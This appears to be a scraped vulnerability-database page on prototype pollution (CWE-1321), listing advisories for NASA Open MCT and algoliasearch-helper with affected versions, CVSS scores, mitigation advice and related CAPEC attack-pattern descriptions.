7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openmct"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-45282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-09T00:48:28Z",
    "nvd_published_at": "2023-10-06T19:15:12Z",
    "severity": "HIGH"
  },
  "details": "In NASA Open MCT (aka openmct) before commit 545a177 is subject to a prototype pollution which can occur via an import action.",
  "id": "GHSA-4xcx-cwrq-w792",
  "modified": "2023-10-13T21:26:57Z",
  "published": "2023-10-06T21:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/openmct/pull/7094/commits/545a1770c523ecc3410dca884c6809d5ff0f9d52"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/openmct/commit/2243381d527c0d84cc48e9ace78be7cda5363612"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nasa/openmct"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nasa/openmct/compare/v3.0.2...v3.1.0"
    },
    {
      "type": "WEB",
      "url": "https://nasa.github.io/openmct"
    },
    {
      "type": "WEB",
      "url": "https://www.linkedin.com/pulse/prototype-pollution-nasas-open-mct-cve-2023-45282"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in NASA Open MCT"
}

GHSA-529Q-4J3P-7C5R

Vulnerability from github – Published: 2025-09-27 06:30 – Updated: 2025-09-30 20:54

Summary

algoliasearch-helper is vulnerable to Prototype Pollution in _merge()

Details

Versions of the package algoliasearch-helper from 2.0.0-rc1 and before 3.11.2 are vulnerable to Prototype Pollution in the _merge() function in merge.js, which allows constructor.prototype to be written even though doing so throws an error. In the "extreme edge-case" that the resulting error is caught, code injected into the user-supplied search parameter may be exeucted.

This is related to but distinct from the issue reported in CVE-2021-23433.

NOTE: This vulnerability is not exploitable in the default configuration of InstantSearch since searchParameters are not modifiable by users.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "algoliasearch-helper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc1"
            },
            {
              "fixed": "3.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-30T20:54:39Z",
    "nvd_published_at": "2025-09-27T05:15:30Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package algoliasearch-helper from 2.0.0-rc1 and before 3.11.2 are vulnerable to Prototype Pollution in the _merge() function in merge.js, which allows constructor.prototype to be written even though doing so throws an error. In the \"extreme edge-case\" that the resulting error is caught, code injected into the user-supplied search parameter may be exeucted.\n\nThis is related to but distinct from the issue reported in [CVE-2021-23433](https://security.snyk.io/vuln/SNYK-JS-ALGOLIASEARCHHELPER-1570421).\n\n**NOTE:** This vulnerability is not exploitable in the default configuration of InstantSearch since searchParameters are not modifiable by users.",
  "id": "GHSA-529q-4j3p-7c5r",
  "modified": "2025-09-30T20:54:39Z",
  "published": "2025-09-27T06:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/algolia/algoliasearch-helper-js/issues/922"
    },
    {
      "type": "WEB",
      "url": "https://github.com/algolia/algoliasearch-helper-js/commit/776dff23c87b0902e554e02a8c2567d2580fe12a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/algolia/algoliasearch-helper-js"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-ALGOLIASEARCHHELPER-3318396"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "algoliasearch-helper is vulnerable to Prototype Pollution in _merge()"
}

Mitigation

Implementation

By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.

Mitigation

Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.

Mitigation

Implementation

Strategy: Input Validation

When handling untrusted objects, validating using a schema can be used.

Mitigation

Implementation

By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

Mitigation

Implementation

Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

← Back to the CWE list

CWE-1321

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

Details

PoC

Impact

Recommended Fix

Maintainer Reponse

Fix Shipped In

What the Fix Does

Tested Repro Before the Fix

Tested State After the Fix in 3.0.25

Duplicate Advisory

Original Description

Recommendation

Mitigation

Mitigation

Mitigation

Mitigation

Mitigation

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels

CAPEC-77: Manipulating User-Controlled Variables

Tested State After the Fix in `3.0.25`